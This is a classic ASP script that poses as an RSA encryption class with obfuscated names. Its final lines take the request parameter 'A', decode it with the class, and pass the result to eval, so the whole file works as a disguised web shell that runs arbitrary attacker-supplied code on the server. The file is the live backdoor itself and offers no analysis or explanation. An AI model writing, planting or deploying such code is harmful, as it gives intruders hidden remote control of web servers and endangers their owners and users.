<% Class clsRSA Public a1,a2,a3 Public Sub b1() a1="937":a2="193":a3="737" End Sub Public Function b2(p1,p2) Dim c1,c2,c3,c4 c4=1 If p2 Mod 2=0 Then c2=1 For c3=1 To p2/2 c1=(p1^2) Mod a3 c2=(c1*c2) Mod a3 Next Else c2=p1 For c3=1 To p2/2 c1=(p1^2) Mod a3 c2=(c1*c2) Mod a3 Next End If b2=c2 End Function Public Function b3(ByVal p3) Dim c4,c5,c6,c7,c8 c5=Len(p3) If c5=0 Then Exit Function For c4=1 To c5 c6=Asc(Mid(p3,c4,1)) c7=b2(c6,a1) c8=d1(c7,4) b3=b3 & c8 Next End Function Public Function b4(ByVal p4) Dim c9,c10,c11,c12 b4="" c10=Len(p4) For c9=1 To c10 Step 4 c11=e1(Mid(p4,c9,4)) c12=b2(c11,a2) b4=b4 & Chr(c12) Next End Function Private Function d1(ByRef p5,ByRef p6) d1=Right(String(p6,"0") & Hex(p5),p6) End Function Private Function e1(ByRef p7) e1=CLng("&h" & p7) End Function End Class Set ObjRSA=New clsRSA Call ObjRSA.b1() Dim f1 f1=Request(Chr(65)) Dim g1 g1=ObjRSA.b4(f1) Dim h1 h1=g1 Call i1(h1) Sub i1(ByVal j1) Dim k1 k1=0 eval(j1) End Sub %>